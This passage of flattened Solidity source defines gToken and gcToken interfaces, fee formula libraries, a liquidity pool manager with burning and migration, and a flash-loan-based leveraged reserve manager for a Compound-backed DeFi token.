function lend(address _ctoken, uint256 _amount) public returns (bool _success) { return CompoundLendingMarketAbstraction._lend(_ctoken, _amount); }
function redeem(address _ctoken, uint256 _amount) public returns (bool _success) { return CompoundLendingMarketAbstraction._redeem(_ctoken, _amount); }
function borrow(address _ctoken, uint256 _amount) public returns (bool _success) { return CompoundLendingMarketAbstraction._borrow(_ctoken, _amount); }
function repay(address _ctoken, uint256 _amount) public returns (bool _success) { return CompoundLendingMarketAbstraction._repay(_ctoken, _amount); }
function safeLend(address _ctoken, uint256 _amount) public { CompoundLendingMarketAbstraction._safeLend(_ctoken, _amount); }
function safeRedeem(address _ctoken, uint256 _amount) public { CompoundLendingMarketAbstraction._safeRedeem(_ctoken, _amount); }
}
// File: contracts/GToken.sol
pragma solidity ^0.6.0;
/**
* @dev Complete top-level interface for gTokens, implemented by the
* GTokenBase contract. See GTokenBase.sol for further documentation.
*/
interface GToken is IERC20
{
// pure functions
function calcDepositSharesFromCost(uint256 _cost, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee) external pure returns (uint256 _netShares, uint256 _feeShares);
function calcDepositCostFromShares(uint256 _netShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee) external pure returns (uint256 _cost, uint256 _feeShares);
function calcWithdrawalSharesFromCost(uint256 _cost, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee) external pure returns (uint256 _grossShares, uint256 _feeShares);
function calcWithdrawalCostFromShares(uint256 _grossShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee) external pure returns (uint256 _cost, uint256 _feeShares);
// view functions
function stakesToken() external view returns (address _stakesToken);
function reserveToken() external view returns (address _reserveToken);
function totalReserve() external view returns (uint256 _totalReserve);
function depositFee() external view returns (uint256 _depositFee);
function withdrawalFee() external view returns (uint256 _withdrawalFee);
function liquidityPool() external view returns (address _liquidityPool);
function liquidityPoolBurningRate() external view returns (uint256 _burningRate);
function liquidityPoolLastBurningTime() external view returns (uint256 _lastBurningTime);
function liquidityPoolMigrationRecipient() external view returns (address _migrationRecipient);
function liquidityPoolMigrationUnlockTime() external view returns (uint256 _migrationUnlockTime);
// open functions
function deposit(uint256 _cost) external;
function withdraw(uint256 _grossShares) external;
// priviledged functions
function allocateLiquidityPool(uint256 _stakesAmount, uint256 _sharesAmount) external;
function setLiquidityPoolBurningRate(uint256 _burningRate) external;
function burnLiquidityPoolPortion() external;
function initiateLiquidityPoolMigration(address _migrationRecipient) external;
function cancelLiquidityPoolMigration() external;
function completeLiquidityPoolMigration() external;
// emitted events
event BurnLiquidityPoolPortion(uint256 _stakesAmount, uint256 _sharesAmount);
event InitiateLiquidityPoolMigration(address indexed _migrationRecipient);
event CancelLiquidityPoolMigration(address indexed _migrationRecipient);
event CompleteLiquidityPoolMigration(address indexed _migrationRecipient, uint256 _stakesAmount, uint256 _sharesAmount);
}
// File: contracts/GCToken.sol
pragma solidity ^0.6.0;
/**
* @dev Complete top-level interface for gcTokens, implemented by the
* GCTokenBase contract. See GCTokenBase.sol for further documentation.
*/
interface GCToken is GToken
{
// pure functions
function calcCostFromUnderlyingCost(uint256 _underlyingCost, uint256 _exchangeRate) external pure returns (uint256 _cost);
function calcUnderlyingCostFromCost(uint256 _cost, uint256 _exchangeRate) external pure returns (uint256 _underlyingCost);
function calcDepositSharesFromUnderlyingCost(uint256 _underlyingCost, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee, uint256 _exchangeRate) external pure returns (uint256 _netShares, uint256 _feeShares);
function calcDepositUnderlyingCostFromShares(uint256 _netShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee, uint256 _exchangeRate) external pure returns (uint256 _underlyingCost, uint256 _feeShares);
function calcWithdrawalSharesFromUnderlyingCost(uint256 _underlyingCost, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee, uint256 _exchangeRate) external pure returns (uint256 _grossShares, uint256 _feeShares);
function calcWithdrawalUnderlyingCostFromShares(uint256 _grossShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee, uint256 _exchangeRate) external pure returns (uint256 _underlyingCost, uint256 _feeShares);
// view functions
function miningToken() external view returns (address _miningToken);
function growthToken() external view returns (address _growthToken);
function underlyingToken() external view returns (address _underlyingToken);
function exchangeRate() external view returns (uint256 _exchangeRate);
function totalReserveUnderlying() external view returns (uint256 _totalReserveUnderlying);
function lendingReserveUnderlying() external view returns (uint256 _lendingReserveUnderlying);
function borrowingReserveUnderlying() external view returns (uint256 _borrowingReserveUnderlying);
function exchange() external view returns (address _exchange);
function miningGulpRange() external view returns (uint256 _miningMinGulpAmount, uint256 _miningMaxGulpAmount);
function growthGulpRange() external view returns (uint256 _growthMinGulpAmount, uint256 _growthMaxGulpAmount);
function collateralizationRatio() external view returns (uint256 _collateralizationRatio, uint256 _collateralizationMargin);
// open functions
function depositUnderlying(uint256 _underlyingCost) external;
function withdrawUnderlying(uint256 _grossShares) external;
// priviledged functions
function setExchange(address _exchange) external;
function setMiningGulpRange(uint256 _miningMinGulpAmount, uint256 _miningMaxGulpAmount) external;
function setGrowthGulpRange(uint256 _growthMinGulpAmount, uint256 _growthMaxGulpAmount) external;
function setCollateralizationRatio(uint256 _collateralizationRatio, uint256 _collateralizationMargin) external;
}
// File: contracts/GFormulae.sol
pragma solidity ^0.6.0;
/**
* @dev Pure implementation of deposit/minting and withdrawal/burning formulas
* for gTokens.
* All operations assume that, if total supply is 0, then the total
* reserve is also 0, and vice-versa.
* Fees are calculated percentually based on the gross amount.
* See GTokenBase.sol for further documentation.
*/
library GFormulae
{
using SafeMath for uint256;
/* deposit(cost):
* price = reserve / supply
* gross = cost / price
* net = gross * 0.99 # fee is assumed to be 1% for simplicity
* fee = gross - net
* return net, fee
*/
function _calcDepositSharesFromCost(uint256 _cost, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee) internal pure returns (uint256 _netShares, uint256 _feeShares)
{
uint256 _grossShares = _totalSupply == _totalReserve ? _cost : _cost.mul(_totalSupply).div(_totalReserve);
_netShares = _grossShares.mul(uint256(1e18).sub(_depositFee)).div(1e18);
_feeShares = _grossShares.sub(_netShares);
return (_netShares, _feeShares);
}
/* deposit_reverse(net):
* price = reserve / supply
* gross = net / 0.99 # fee is assumed to be 1% for simplicity
* cost = gross * price
* fee = gross - net
* return cost, fee
*/
function _calcDepositCostFromShares(uint256 _netShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee) internal pure returns (uint256 _cost, uint256 _feeShares)
{
uint256 _grossShares = _netShares.mul(1e18).div(uint256(1e18).sub(_depositFee));
_cost = _totalReserve == _totalSupply ? _grossShares : _grossShares.mul(_totalReserve).div(_totalSupply);
_feeShares = _grossShares.sub(_netShares);
return (_cost, _feeShares);
}
/* withdrawal_reverse(cost):
* price = reserve / supply
* net = cost / price
* gross = net / 0.99 # fee is assumed to be 1% for simplicity
* fee = gross - net
* return gross, fee
*/
function _calcWithdrawalSharesFromCost(uint256 _cost, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee) internal pure returns (uint256 _grossShares, uint256 _feeShares)
{
uint256 _netShares = _cost == _totalReserve ? _totalSupply : _cost.mul(_totalSupply).div(_totalReserve);
_grossShares = _netShares.mul(1e18).div(uint256(1e18).sub(_withdrawalFee));
_feeShares = _grossShares.sub(_netShares);
return (_grossShares, _feeShares);
}
/* withdrawal(gross):
* price = reserve / supply
* net = gross * 0.99 # fee is assumed to be 1% for simplicity
* cost = net * price
* fee = gross - net
* return cost, fee
*/
function _calcWithdrawalCostFromShares(uint256 _grossShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee) internal pure returns (uint256 _cost, uint256 _feeShares)
{
uint256 _netShares = _grossShares.mul(uint256(1e18).sub(_withdrawalFee)).div(1e18);
_cost = _netShares == _totalSupply ? _totalReserve : _netShares.mul(_totalReserve).div(_totalSupply);
_feeShares = _grossShares.sub(_netShares);
return (_cost, _feeShares);
}
}
// File: contracts/GCFormulae.sol
pragma solidity ^0.6.0;
/**
* @dev Pure implementation of deposit/minting and withdrawal/burning formulas
* for gTokens calculated based on the cToken underlying asset
* (e.g. DAI for cDAI). See GFormulae.sol and GCTokenBase.sol for further
* documentation.
*/
library GCFormulae
{
using SafeMath for uint256;
/**
* @dev Simple token to cToken formula from Compound
*/
function _calcCostFromUnderlyingCost(uint256 _underlyingCost, uint256 _exchangeRate) internal pure returns (uint256 _cost)
{
return _underlyingCost.mul(1e18).div(_exchangeRate);
}
/**
* @dev Simple cToken to token formula from Compound
*/
function _calcUnderlyingCostFromCost(uint256 _cost, uint256 _exchangeRate) internal pure returns (uint256 _underlyingCost)
{
return _cost.mul(_exchangeRate).div(1e18);
}
/**
* @dev Composition of the gToken deposit formula with the Compound
* conversion formula to obtain the gcToken deposit formula in
* terms of the cToken underlying asset.
*/
function _calcDepositSharesFromUnderlyingCost(uint256 _underlyingCost, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee, uint256 _exchangeRate) internal pure returns (uint256 _netShares, uint256 _feeShares)
{
uint256 _cost = _calcCostFromUnderlyingCost(_underlyingCost, _exchangeRate);
return GFormulae._calcDepositSharesFromCost(_cost, _totalReserve, _totalSupply, _depositFee);
}
/**
* @dev Composition of the gToken reserve deposit formula with the
* Compound conversion formula to obtain the gcToken reverse
* deposit formula in terms of the cToken underlying asset.
*/
function _calcDepositUnderlyingCostFromShares(uint256 _netShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee, uint256 _exchangeRate) internal pure returns (uint256 _underlyingCost, uint256 _feeShares)
{
uint256 _cost;
(_cost, _feeShares) = GFormulae._calcDepositCostFromShares(_netShares, _totalReserve, _totalSupply, _depositFee);
return (_calcUnderlyingCostFromCost(_cost, _exchangeRate), _feeShares);
}
/**
* @dev Composition of the gToken reserve withdrawal formula with the
* Compound conversion formula to obtain the gcToken reverse
* withdrawal formula in terms of the cToken underlying asset.
*/
function _calcWithdrawalSharesFromUnderlyingCost(uint256 _underlyingCost, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee, uint256 _exchangeRate) internal pure returns (uint256 _grossShares, uint256 _feeShares)
{
uint256 _cost = _calcCostFromUnderlyingCost(_underlyingCost, _exchangeRate);
return GFormulae._calcWithdrawalSharesFromCost(_cost, _totalReserve, _totalSupply, _withdrawalFee);
}
/**
* @dev Composition of the gToken withdrawal formula with the Compound
* conversion formula to obtain the gcToken withdrawal formula in
* terms of the cToken underlying asset.
*/
function _calcWithdrawalUnderlyingCostFromShares(uint256 _grossShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee, uint256 _exchangeRate) internal pure returns (uint256 _underlyingCost, uint256 _feeShares)
{
uint256 _cost;
(_cost, _feeShares) = GFormulae._calcWithdrawalCostFromShares(_grossShares, _totalReserve, _totalSupply, _withdrawalFee);
return (_calcUnderlyingCostFromCost(_cost, _exchangeRate), _feeShares);
}
}
// File: contracts/GLiquidityPoolManager.sol
pragma solidity ^0.6.0;
/**
* @dev This library implements data structure abstraction for the liquidity
* pool management code in order to circuvent the EVM contract size limit.
* It is therefore a public library shared by all gToken contracts and
* needs to be published alongside them. See GTokenBase.sol for further
* documentation.
*/
library GLiquidityPoolManager
{
using GLiquidityPoolManager for GLiquidityPoolManager.Self;
uint256 constant MAXIMUM_BURNING_RATE = 2e16; // 2%
uint256 constant DEFAULT_BURNING_RATE = 5e15; // 0.5%
uint256 constant BURNING_INTERVAL = 7 days;
uint256 constant MIGRATION_INTERVAL = 7 days;
enum State { Created, Allocated, Migrating, Migrated }
struct Self {
address stakesToken;
address sharesToken;
State state;
address liquidityPool;
uint256 burningRate;
uint256 lastBurningTime;
address migrationRecipient;
uint256 migrationUnlockTime;
}
/**
* @dev Initializes the data structure. This method is exposed publicly.
* @param _stakesToken The ERC-20 token address to be used as stakes
* token (GRO).
* @param _sharesToken The ERC-20 token address to be used as shares
* token (gToken).
*/
function init(Self storage _self, address _stakesToken, address _sharesToken) public
{
_self.stakesToken = _stakesToken;
_self.sharesToken = _sharesToken;
_self.state = State.Created;
_self.liquidityPool = address(0);
_self.burningRate = DEFAULT_BURNING_RATE;
_self.lastBurningTime = 0;
_self.migrationRecipient = address(0);
_self.migrationUnlockTime = uint256(-1);
}
/**
* @dev Verifies whether or not a liquidity pool is migrating or
* has migrated. This method is exposed publicly.
* @return _hasMigrated A boolean indicating whether or not the pool
* migration has started.
*/
function hasMigrated(Self storage _self) public view returns (bool _hasMigrated)
{
return _self.state == State.Migrating || _self.state == State.Migrated;
}
/**
* @dev Moves the current balances (if any) of stakes and shares tokens
* to the liquidity pool. This method is exposed publicly.
*/
function gulpPoolAssets(Self storage _self) public
{
if (!_self._hasPool()) return;
G.joinPool(_self.liquidityPool, _self.stakesToken, G.getBalance(_self.stakesToken));
G.joinPool(_self.liquidityPool, _self.sharesToken, G.getBalance(_self.sharesToken));
}
/**
* @dev Sets the liquidity pool burning rate. This method is exposed
* publicly.
* @param _burningRate The percent value of the liquidity pool to be
* burned at each 7-day period.
*/
function setBurningRate(Self storage _self, uint256 _burningRate) public
{
require(_burningRate <= MAXIMUM_BURNING_RATE, "invalid rate");
_self.burningRate = _burningRate;
}
/**
* @dev Burns a portion of the liquidity pool according to the defined
* burning rate. It must happen at most once every 7-days. This
* method does not actually burn the funds, but it will redeem
* the amounts from the pool to the caller contract, which is then
* assumed to perform the burn. This method is exposed publicly.
* @return _stakesAmount The amount of stakes (GRO) redeemed from the pool.
* @return _sharesAmount The amount of shares (gToken) redeemed from the pool.
*/
function burnPoolPortion(Self storage _self) public returns (uint256 _stakesAmount, uint256 _sharesAmount)
{
require(_self._hasPool(), "pool not available");
require(now >= _self.lastBurningTime + BURNING_INTERVAL, "must wait lock interval");
_self.lastBurningTime = now;
return G.exitPool(_self.liquidityPool, _self.burningRate);
}
/**
* @dev Creates a fresh new liquidity pool and deposits the initial
* amounts of the stakes token and the shares token. The pool
* if configure 50%/50% with a 10% swap fee. This method is exposed
* publicly.
* @param _stakesAmount The amount of stakes token initially deposited
* into the pool.
* @param _sharesAmount The amount of shares token initially deposited
* into the pool.
*/
function allocatePool(Self storage _self, uint256 _stakesAmount, uint256 _sharesAmount) public
{
require(_self.state == State.Created, "pool cannot be allocated");
_self.state = State.Allocated;
_self.liquidityPool = G.createPool(_self.stakesToken, _stakesAmount, _self.sharesToken, _sharesAmount);
}
/**
* @dev Initiates the liquidity pool migration by setting a funds
* recipent and starting the clock towards the 7-day grace period.
* This method is exposed publicly.
* @param _migrationRecipient The recipient address to where funds will
* be transfered.
*/
function initiatePoolMigration(Self storage _self, address _migrationRecipient) public
{
require(_self.state == State.Allocated || _self.state == State.Migrated, "migration unavailable");
_self.state = State.Migrating;
_self.migrationRecipient = _migrationRecipient;
_self.migrationUnlockTime = now + MIGRATION_INTERVAL;
}
/**
* @dev Cancels the liquidity pool migration by reseting the procedure
* to its original state. This method is exposed publicly.
* @return _migrationRecipient The address of the former recipient.
*/
function cancelPoolMigration(Self storage _self) public returns (address _migrationRecipient)
{
require(_self.state == State.Migrating, "migration not initiated");
_migrationRecipient = _self.migrationRecipient;
_self.state = State.Allocated;
_self.migrationRecipient = address(0);
_self.migrationUnlockTime = uint256(-1);
return _migrationRecipient;
}
/**
* @dev Completes the liquidity pool migration by redeeming all funds
* from the pool. This method does not actually transfer the
* redemeed funds to the recipient, it assumes the caller contract
* will perform that. This method is exposed publicly.
* @return _migrationRecipient The address of the recipient.
* @return _stakesAmount The amount of stakes (GRO) redeemed from the pool.
* @return _sharesAmount The amount of shares (gToken) redeemed from the pool.
*/
function completePoolMigration(Self storage _self) public returns (address _migrationRecipient, uint256 _stakesAmount, uint256 _sharesAmount)
{
require(_self.state == State.Migrating, "migration not initiated");
require(now >= _self.migrationUnlockTime, "must wait lock interval");
_migrationRecipient = _self.migrationRecipient;
_self.state = State.Migrated;
_self.migrationRecipient = address(0);
_self.migrationUnlockTime = uint256(-1);
(_stakesAmount, _sharesAmount) = G.exitPool(_self.liquidityPool, 1e18);
return (_migrationRecipient, _stakesAmount, _sharesAmount);
}
/**
* @dev Verifies whether or not a liquidity pool has been allocated.
* @return _poolAvailable A boolean indicating whether or not the pool
* is available.
*/
function _hasPool(Self storage _self) internal view returns (bool _poolAvailable)
{
return _self.state != State.Created;
}
}
// File: contracts/GCLeveragedReserveManager.sol
pragma solidity ^0.6.0;
/**
* @dev This library implements data structure abstraction for the leveraged
* reserve management code in order to circuvent the EVM contract size limit.
* It is therefore a public library shared by all gToken Type 1 contracts and
* needs to be published alongside them. See GTokenType1.sol for further
* documentation.
*/
library GCLeveragedReserveManager
{
using SafeMath for uint256;
using GCLeveragedReserveManager for GCLeveragedReserveManager.Self;
uint256 constant MAXIMUM_COLLATERALIZATION_RATIO = 98e16; // 98% of 75% = 73.5%
uint256 constant DEFAULT_COLLATERALIZATION_RATIO = 94e16; // 94% of 75% = 70.5%
uint256 constant DEFAULT_COLLATERALIZATION_MARGIN = 2e16; // 2% of 75% = 1.5%
struct Self {
address reserveToken;
address underlyingToken;
address exchange;
address miningToken;
uint256 miningMinGulpAmount;
uint256 miningMaxGulpAmount;
uint256 collateralizationRatio;
uint256 collateralizationMargin;
}
/**
* @dev Initializes the data structure. This method is exposed publicly.
* @param _reserveToken The ERC-20 token address of the reserve token (cToken).
* @param _underlyingToken The ERC-20 token address of the underlying
* token that backs up the reserve token.
* @param _miningToken The ERC-20 token address to be collected from
* liquidity mining (COMP).
*/
function init(Self storage _self, address _reserveToken, address _underlyingToken, address _miningToken) public
{
_self.reserveToken = _reserveToken;
_self.underlyingToken = _underlyingToken;
_self.exchange = address(0);
_self.miningToken = _miningToken;
_self.miningMinGulpAmount = 0;
_self.miningMaxGulpAmount = 0;
_self.collateralizationRatio = DEFAULT_COLLATERALIZATION_RATIO;
_self.collateralizationMargin = DEFAULT_COLLATERALIZATION_MARGIN;
CompoundLendingMarketAbstraction._safeEnter(_reserveToken);
}
/**
* @dev Sets the contract address for asset conversion delegation.
* This library converts the miningToken into the underlyingToken
* and use the assets to back the reserveToken. See GExchange.sol
* for further documentation. This method is exposed publicly.
* @param _exchange The address of the contract that implements the
* GExchange interface.
*/
function setExchange(Self storage _self, address _exchange) public
{
_self.exchange = _exchange;
}
/**
* @dev Sets the range for converting liquidity mining assets. This
* method is exposed publicly.
* @param _miningMinGulpAmount The minimum amount, funds will only be
* converted once the minimum is accumulated.
* @param _miningMaxGulpAmount The maximum amount, funds beyond this
* limit will not be converted and are left
* for future rounds of conversion.
*/
function setMiningGulpRange(Self storage _self, uint256 _miningMinGulpAmount, uint256 _miningMaxGulpAmount) public
{
require(_miningMinGulpAmount <= _miningMaxGulpAmount, "invalid range");
_self.miningMinGulpAmount = _miningMinGulpAmount;
_self.miningMaxGulpAmount = _miningMaxGulpAmount;
}
/**
* @dev Sets the collateralization ratio and margin. These values are
* percentual and relative to the maximum collateralization ratio
* provided by the underlying asset. This method is exposed publicly.
* @param _collateralizationRatio The target collateralization ratio,
* between lend and borrow, that the
* reserve will try to maintain.
* @param _collateralizationMargin The deviation from the target ratio
* that should be accepted.
*/
function setCollateralizationRatio(Self storage _self, uint256 _collateralizationRatio, uint256 _collateralizationMargin) public
{
require(_collateralizationMargin <= _collateralizationRatio && _collateralizationRatio.add(_collateralizationMargin) <= MAXIMUM_COLLATERALIZATION_RATIO, "invalid ratio");
_self.collateralizationRatio = _collateralizationRatio;
_self.collateralizationMargin = _collateralizationMargin;
}
/**
* @dev Performs the reserve adjustment actions leaving a liquidity room,
* if necessary. It will attempt to incorporate the liquidity mining
* assets into the reserve and adjust the collateralization
* targeting the configured ratio. This method is exposed publicly.
* @param _roomAmount The underlying token amount to be available after the
* operation. This is revelant for withdrawals, once the
* room amount is withdrawn the reserve should reflect
* the configured collateralization ratio.
* @return _success A boolean indicating whether or not both actions suceeded.
*/
function adjustReserve(Self storage _self, uint256 _roomAmount) public returns (bool _success)
{
bool success1 = _self._gulpMiningAssets();
bool success2 = _self._adjustLeverage(_roomAmount);
return success1 && success2;
}
/**
* @dev Calculates the collateralization ratio and range relative to the
* maximum collateralization ratio provided by the underlying asset.
* @return _collateralizationRatio The target absolute collateralization ratio.
* @return _minCollateralizationRatio The minimum absolute collateralization ratio.
* @return _maxCollateralizationRatio The maximum absolute collateralization ratio.
*/
function _calcCollateralizationRatio(Self storage _self) internal view returns (uint256 _collateralizationRatio, uint256 _minCollateralizationRatio, uint256 _maxCollateralizationRatio)
{
uint256 _collateralRatio = G.getCollateralRatio(_self.reserveToken);
_collateralizationRatio = _collateralRatio.mul(_self.collateralizationRatio).div(1e18);
_minCollateralizationRatio = _collateralRatio.mul(_self.collateralizationRatio.sub(_self.collateralizationMargin)).div(1e18);
_maxCollateralizationRatio = _collateralRatio.mul(_self.collateralizationRatio.add(_self.collateralizationMargin)).div(1e18);
return (_collateralizationRatio, _minCollateralizationRatio, _maxCollateralizationRatio);
}
/**
* @dev Incorporates the liquidity mining assets into the reserve. Assets
* are converted to the underlying asset and then added to the reserve.
* If the amount available is below the minimum, or if the exchange
* contract is not set, nothing is done. Otherwise the operation is
* performed, limited to the maximum amount. Note that this operation
* will incorporate to the reserve all the underlying token balance
* including funds sent to it or left over somehow.
* @return _success A boolean indicating whether or not the action succeeded.
*/
function _gulpMiningAssets(Self storage _self) internal returns (bool _success)
{
if (_self.exchange == address(0)) return true;
uint256 _miningAmount = G.getBalance(_self.miningToken);
if (_miningAmount == 0) return true;
if (_miningAmount < _self.miningMinGulpAmount) return true;
_self._convertMiningToUnderlying(G.min(_miningAmount, _self.miningMaxGulpAmount));
return G.lend(_self.reserveToken, G.getBalance(_self.underlyingToken));
}
/**
* @dev Adjusts the reserve to match the configured collateralization
* ratio. It calculates how much the collateralization must be
* increased or decreased and either: 1) lend/borrow, or
* 2) repay/redeem, respectivelly. The funds required to perform
* the operation are obtained via FlashLoan to avoid having to
* maneuver around margin when moving in/out of leverage.
* @param _roomAmount The amount of underlying token to be liquid after
* the operation.
* @return _success A boolean indicating whether or not the action succeeded.
*/
function _adjustLeverage(Self storage _self, uint256 _roomAmount) internal returns (bool _success)
{
// the reserve is the diference between lend and borrow
uint256 _lendAmount = G.fetchLendAmount(_self.reserveToken);
uint256 _borrowAmount = G.fetchBorrowAmount(_self.reserveToken);
uint256 _reserveAmount = _lendAmount.sub(_borrowAmount);
// caps the room in case it is larger than the reserve
_roomAmount = G.min(_roomAmount, _reserveAmount);
// The new reserve must deduct the room requested
uint256 _newReserveAmount = _reserveAmount.sub(_roomAmount);
// caculates the assumed lend amount deducting the requested room
uint256 _oldLendAmount = _lendAmount.sub(_roomAmount);
// the new lend amount is the new reserve with leverage applied
uint256 _newLendAmount;
uint256 _minNewLendAmount;
uint256 _maxNewLendAmount;
{
(uint256 _collateralizationRatio, uint256 _minCollateralizationRatio, uint256 _maxCollateralizationRatio) = _self._calcCollateralizationRatio();
_newLendAmount = _newReserveAmount.mul(1e18).div(uint256(1e18).sub(_collateralizationRatio));
_minNewLendAmount = _newReserveAmount.mul(1e18).div(uint256(1e18).sub(_minCollateralizationRatio));
_maxNewLendAmount = _newReserveAmount.mul(1e18).div(uint256(1e18).sub(_maxCollateralizationRatio));
}
// adjust the reserve by:
// 1- increasing collateralization by the difference
// 2- decreasing collateralization by the difference
// the adjustment is capped by the liquidity available on the market
uint256 _liquidityAmount = G.getFlashLoanLiquidity(_self.underlyingToken);
if (_minNewLendAmount > _oldLendAmount) {
{
uint256 _minAmount = _minNewLendAmount.sub(_oldLendAmount);
require(_liquidityAmount >= _minAmount, "cannot maintain collateralization ratio");
}
uint256 _amount = _newLendAmount.sub(_oldLendAmount);
return _self._dispatchFlashLoan(G.min(_amount, _liquidityAmount), 1);
}
if (_maxNewLendAmount < _oldLendAmount) {
{
uint256 _minAmount = _oldLendAmount.sub(_maxNewLendAmount);
require(_liquidityAmount >= _minAmount, "cannot maintain collateralization ratio");
}
uint256 _amount = _oldLendAmount.sub(_newLendAmount);
return _self._dispatchFlashLoan(G.min(_amount, _liquidityAmount), 2);
}
return true;
}
/**
* @dev This is the continuation of _adjustLeverage once funds are
* borrowed via the FlashLoan callback.
* @param _amount The borrowed amount as requested.
* @param _fee The additional fee that needs to be paid for the FlashLoan.
* @param _which A flag indicating whether the funds were borrowed to
* 1) increase or 2) decrease the collateralization ratio.
* @return _success A boolean indicating whether or not the action succeeded.
*/
function _continueAdjustLeverage(Self storage _self, uint256 _amount, uint256 _fee, uint256 _which) internal returns (bool _success)
{
// note that the reserve adjustment is not 100% accurate as we
// did not account for FlashLoan fees in the initial calculation
if (_which == 1) {
bool _success1 = G.lend(_self.reserveToken, _amount.sub(_fee));
bool _success2 = G.borrow(_self.reserveToken, _amount);
return _success1 && _success2;
}
if (_which == 2) {
bool _success1 = G.repay(_self.reserveToken, _amount);
bool _success2 = G.redeem(_self.reserveToken, _amount.add(_fee));
return _success1 && _success2;
}
assert(false);
}
/**
* @dev Abstracts the details of dispatching the FlashLoan by encoding
* the extra parameters.
* @param _amount The amount to be borrowed.
* @param _which A flag indicating whether the funds are borrowed to
* 1) increase or 2) decrease the collateralization ratio.
* @return _success A boolean indicating whether or not the action succeeded.
*/
function _dispatchFlashLoan(Self storage _self, uint256 _amount, uint256 _which) internal returns (bool _success)
{
return G.requestFlashLoan(_self.underlyingToken, _amount, abi.encode(_which));
}
/**
* @dev Abstracts the details of receiving a FlashLoan by decoding
* the extra parameters.
* @param _token The asset being borrowed.
* @param _amount The borrowed amount.
* @param _fee The fees to be paid along with the borrowed amount.
* @param _params Additional encoded parameters to be decoded.
* @return _success A boolean indicating whether or not the action succeeded.
*/
function _receiveFlashLoan(Self storage _self, address _token, uint256 _amount, uint256 _fee, bytes memory _params) external returns (bool _success)
{
assert(_token == _self.underlyingToken);
uint256 _which = abi.decode(_params, (uint256));
return _self._continueAdjustLeverage(_amount, _fee, _which);
}
/**
* @dev Converts a given amount of the mining token to the underlying
* token using the external exchange contract. Both amounts are
* deducted and credited, respectively, from the current contract.
* @param _inputAmount The amount to be converted.
*/
function _convertMiningToUnderlying(Self storage _self, uint256 _inputAmount) internal
{
G.dynamicConvertFunds(_self.exchange, _self.miningToken, _self.underlyingToken, _inputAmount, 0);
}
}
// File: contracts/GTokenBase.sol
pragma solidity ^0.6.0;
/**
* @notice This abstract contract provides the basis implementation for all
* gTokens. It extends the ERC20 functionality by implementing all
* the methods of the GToken interface. The gToken basic functionality
* comprises of a reserve, provided in the reserve token, and a supply
* of shares. Every time someone deposits into the contract some amount
* of reserve tokens it will receive a given amount of this gToken
* shares. Conversely, upon withdrawal, someone redeems their previously
* deposited assets by providing the associated amount of gToken shares.
* The nominal price of a gToken is given by the ratio between the
* reserve balance and the total supply of shares. Upon deposit and
* withdrawal of funds a 1% fee is applied and collected from shares.
* Half of it is immediately burned, which is equivalent to
* redistributing it to all gToken holders, and the other half is
* provided to a liquidity pool configured as a 50% GRO/50% gToken with
* a 10% swap fee. Every week a percentage of the liquidity pool is
* burned to account for the accumulated swap fees for that period.
* Finally, the gToken contract provides functionality to migrate the
* total amount of funds locked in the liquidity pool to an external
* address, this mechanism is provided to facilitate the upgrade of
* this gToken contract by future implementations. After migration has
* started the fee for deposits becomes 2% and the fee for withdrawals
* becomes 0%, in order to incentivise others to follow the migration.
*/
abstract contract GTokenBase is ERC20, Ownable, ReentrancyGuard, GToken
{
using GLiquidityPoolManager for GLiquidityPoolManager.Self;
uint256 constant DEPOSIT_FEE = 1e16; // 1%
uint256 constant WITHDRAWAL_FEE = 1e16; // 1%
uint256 constant DEPOSIT_FEE_AFTER_MIGRATION = 2e16; // 2%
uint256 constant WITHDRAWAL_FEE_AFTER_MIGRATION = 0e16; // 0%
address public immutable override stakesToken;
address public immutable override reserveToken;
GLiquidityPoolManager.Self lpm;
/**
* @dev Constructor for the gToken contract.
* @param _name The ERC-20 token name.
* @param _symbol The ERC-20 token symbol.
* @param _decimals The ERC-20 token decimals.
* @param _stakesToken The ERC-20 token address to be used as stakes
* token (GRO).
* @param _reserveToken The ERC-20 token address to be used as reserve
* token (e.g. cDAI for gcDAI).
*/
constructor (string memory _name, string memory _symbol, uint8 _decimals, address _stakesToken, address _reserveToken)
ERC20(_name, _symbol) public
{
_setupDecimals(_decimals);
stakesToken = _stakesToken;
reserveToken = _reserveToken;
lpm.init(_stakesToken, address(this));
}
/**
* @notice Allows for the beforehand calculation of shares to be
* received/minted upon depositing to the contract.
* @param _cost The amount of reserve token being deposited.
* @param _totalReserve The reserve balance as obtained by totalReserve().
* @param _totalSupply The shares supply as obtained by totalSupply().
* @param _depositFee The current deposit fee as obtained by depositFee().
* @return _netShares The net amount of shares being received.
* @return _feeShares The fee amount of shares being deducted.
*/
function calcDepositSharesFromCost(uint256 _cost, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee) public pure override returns (uint256 _netShares, uint256 _feeShares)
{
return GFormulae._calcDepositSharesFromCost(_cost, _totalReserve, _totalSupply, _depositFee);
}
/**
* @notice Allows for the beforehand calculation of the amount of
* reserve token to be deposited in order to receive the desired
* amount of shares.
* @param _netShares The amount of this gToken shares to receive.
* @param _totalReserve The reserve balance as obtained by totalReserve().
* @param _totalSupply The shares supply as obtained by totalSupply().
* @param _depositFee The current deposit fee as obtained by depositFee().
* @return _cost The cost, in the reserve token, to be paid.
* @return _feeShares The fee amount of shares being deducted.
*/
function calcDepositCostFromShares(uint256 _netShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee) public pure override returns (uint256 _cost, uint256 _feeShares)
{
return GFormulae._calcDepositCostFromShares(_netShares, _totalReserve, _totalSupply, _depositFee);
}
/**
* @notice Allows for the beforehand calculation of shares to be
